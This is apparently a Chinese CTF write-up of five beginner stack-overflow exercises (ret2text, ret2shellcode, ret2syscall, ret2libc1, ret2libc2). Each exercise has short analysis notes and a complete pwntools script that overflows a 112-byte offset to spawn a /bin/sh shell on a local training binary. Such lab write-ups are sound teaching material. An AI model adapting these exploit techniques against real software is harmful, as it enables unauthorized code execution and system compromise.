首先checksec一下,是32位可执行文件,没有开启保护
放入ida,shift+f12查看字符串,发现secure函数中使用system函数调用了"/bin/sh",记下地址0x804863a
查看偏移地址
脚本如下:
from pwn import *
io = process("./ret2text")
payload = b"a"*112 + p32(0x804863a)
io.sendline(payload)
io.interactive()
ret2shellcode
checksec一下,是32位小端序
IDA看一下汇编代码,发现没有shell
找到溢出点
buf2所在段有执行权限
分析偏移地址:112
构造脚本:
from pwn import *
io = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804A080
payload = shellcode.ljust(112, 'A') + p32(buf2_addr)
io.sendline(payload)
io.interactive()
ret2syscall
checksec一下,是32位小端序
找到/bin/sh地址
分析偏移地址
待构建的shellcode如下:
pop eax -->0xb
pop ebx -->'/bin/sh'
pop ecx -->0
pop edx -->0
int 0x80
找到所需代码片段
构建脚本:
from pwn import *
io = process('./rop')
offset=112
bin_sh_addr = 0x080BE408
pop_eax_ret_addr = 0x080bb196
pop_edx_ecx_ebx_addr=0x0806eb90
int_addr=0x08049421
payload = "a"*offset + p32(pop_eax_ret_addr) + p32(0xb) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(bin_sh_addr) + p32(int_addr)
io.sendline(payload)
io.interactive()
ret2libc1
首先还是checksec一下,是32位小端序
IDA打开,发现溢出点
用pwndbg算一算偏移地址
找到/bin/sh地址和system函数的plt表地址
构建exp(“b”*4作为虚假的返回地址,用于使函数调用结构完整):
from pwn import *
io = process('./ret2libc1')
offset = 112
system_plt_addr = 0x08048460
bin_sh_addr = 0x08048720
payload = "a"*offset + p32(system_plt_addr) + "b"*4 + p32(bin_sh_addr)
io.sendline(payload)
io.interactive()
ret2libc2
checksec一下,是32位小端序
放进IDA里,发现溢出点
找到system函数,但找不到/bin/sh
在bss段找到一个buffer
并且这个buffer有写入权限
于是我们可以利用gets函数将/bin/sh读入到buf2中,再由system函数执行
计算偏移地址
找到system和gets对应的plt表地址
exp如下:
from pwn import *
io = process('./ret2libc2')
system_addr = 0x8048490
gets_addr = 0x8048460
buf_addr = 0x804A080
payload = 'a'*112 + p32(gets_addr) + p32(system_addr) + p32(buf_addr) + p32(buf_addr)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)